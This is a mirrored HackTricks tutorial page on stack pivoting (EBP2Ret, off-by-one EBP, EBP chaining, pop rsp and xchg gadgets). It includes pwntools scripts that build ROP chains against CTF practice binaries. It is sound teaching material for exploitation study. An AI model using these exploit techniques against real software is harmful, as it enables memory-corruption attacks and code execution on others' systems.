mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			218 lines
		
	
	
		
			9.1 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			218 lines
		
	
	
		
			9.1 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Stack Pivoting - EBP2Ret - EBP chaining
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 | |
| 
 | |
| ## Basic Information
 | |
| 
 | |
| This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the `leave; ret` instruction sequence.
 | |
| 
 | |
| As a reminder, **`leave`** basically means:
 | |
| 
 | |
| ```
 | |
| mov               esp, ebp
 | |
| pop               ebp
 | |
| ret
 | |
| ```
 | |
| 
 | |
| And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
 | |
| 
 | |
| ### EBP2Ret
 | |
| 
 | |
| This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
 | |
| 
 | |
| If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
 | |
| Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
 | |
| 
 | |
| #### Exploit Construction
 | |
| 
 | |
| First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
 | |
| 
 | |
| Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
 | |
| 
 | |
| * A valid [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) address.
 | |
| * The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
 | |
| * The address of a **`jump esp;`** gadget ([**ret2esp**](ret2esp-ret2reg.md)) followed by the **shellocde** to execute.
 | |
| * Some [**ROP**](rop-return-oriented-programing.md) chain
 | |
| 
 | |
| Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
 | |
| 
 | |
| #### Off-By-One Exploit
 | |
| 
 | |
| There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.
 | |
| 
 | |
| ### **EBP Chaining**
 | |
| 
 | |
| Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
 | |
| 
 | |
| Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
 | |
| 
 | |
| * **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
 | |
| * **`system()`** -> Called by `ret`
 | |
| * **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
 | |
| * **`&("/bin/sh")`**-> Param fro `system`
 | |
| 
 | |
| Basically this way it's possible to chain several fake EBPs to control the flow of the program.
 | |
| 
 | |
| This is like a [ret2lib](ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
 | |
| 
 | |
| Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
 | |
| 
 | |
| ```python
 | |
| from pwn import *
 | |
| 
 | |
| elf = context.binary = ELF('./vuln')
 | |
| p = process()
 | |
| 
 | |
| p.recvuntil('to: ')
 | |
| buffer = int(p.recvline(), 16)
 | |
| log.success(f'Buffer: {hex(buffer)}')
 | |
| 
 | |
| LEAVE_RET = 0x40117c
 | |
| POP_RDI = 0x40122b
 | |
| POP_RSI_R15 = 0x401229
 | |
| 
 | |
| payload = flat(
 | |
|     0x0,               # rbp (could be the address of anoter fake RBP)
 | |
|     POP_RDI,
 | |
|     0xdeadbeef,
 | |
|     POP_RSI_R15,
 | |
|     0xdeadc0de,
 | |
|     0x0,
 | |
|     elf.sym['winner']
 | |
| )
 | |
| 
 | |
| payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)
 | |
| 
 | |
| payload += flat(
 | |
|     buffer,         # Load leak address in RBP
 | |
|     LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
 | |
| )
 | |
| 
 | |
| pause()
 | |
| p.sendline(payload)
 | |
| print(p.recvline())
 | |
| ```
 | |
| 
 | |
| ## EBP is useless
 | |
| 
 | |
| As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
 | |
| This is because the **prologue and epilogue changes** if the binary is optimized.
 | |
| 
 | |
| * **Not optimized:**
 | |
| 
 | |
| ```bash
 | |
| push   %ebp         # save ebp
 | |
| mov    %esp,%ebp    # set new ebp
 | |
| sub    $0x100,%esp  # increase stack size
 | |
| .
 | |
| .
 | |
| .
 | |
| leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
 | |
| ret                 # return
 | |
| ```
 | |
| 
 | |
| * **Optimized:**
 | |
| 
 | |
| ```bash
 | |
| push   %ebx         # save ebx
 | |
| sub    $0x100,%esp  # increase stack size
 | |
| .
 | |
| .
 | |
| .
 | |
| add    $0x10c,%esp  # reduce stack size
 | |
| pop    %ebx         # restore ebx
 | |
| ret                 # return
 | |
| ```
 | |
| 
 | |
| ## Other ways to control RSP
 | |
| 
 | |
| ### **`pop rsp`** gadget
 | |
| 
 | |
| [**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
 | |
| 
 | |
| ```python
 | |
| # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 | |
| # This version has added comments
 | |
| 
 | |
| from pwn import *
 | |
| 
 | |
| elf = context.binary = ELF('./vuln')
 | |
| p = process()
 | |
| 
 | |
| p.recvuntil('to: ')
 | |
| buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
 | |
| log.success(f'Buffer: {hex(buffer)}')
 | |
| 
 | |
| POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
 | |
| POP_RDI = 0x40122b
 | |
| POP_RSI_R15 = 0x401229     # pop RSI and R15
 | |
| 
 | |
| # The payload starts
 | |
| payload = flat(
 | |
|     0,                 # r13
 | |
|     0,                 # r14
 | |
|     0,                 # r15
 | |
|     POP_RDI,
 | |
|     0xdeadbeef,
 | |
|     POP_RSI_R15,
 | |
|     0xdeadc0de,
 | |
|     0x0,               # r15
 | |
|     elf.sym['winner']
 | |
| )
 | |
| 
 | |
| payload = payload.ljust(104, b'A')     # pad to 104
 | |
| 
 | |
| # Start popping RSP, this moves the stack to the leaked address and 
 | |
| # continues the ROP chain in the prepared payload
 | |
| payload += flat(
 | |
|     POP_CHAIN,
 | |
|     buffer             # rsp
 | |
| )
 | |
| 
 | |
| pause()
 | |
| p.sendline(payload)
 | |
| print(p.recvline())
 | |
| ```
 | |
| 
 | |
| ### xchg \<reg>, rsp gadget
 | |
| 
 | |
| ```
 | |
| pop <reg>                <=== return pointer
 | |
| <reg value>
 | |
| xchg <reg>, rsp
 | |
| ```
 | |
| 
 | |
| ## References
 | |
| 
 | |
| * [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
 | |
| * [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 | |
| 
 |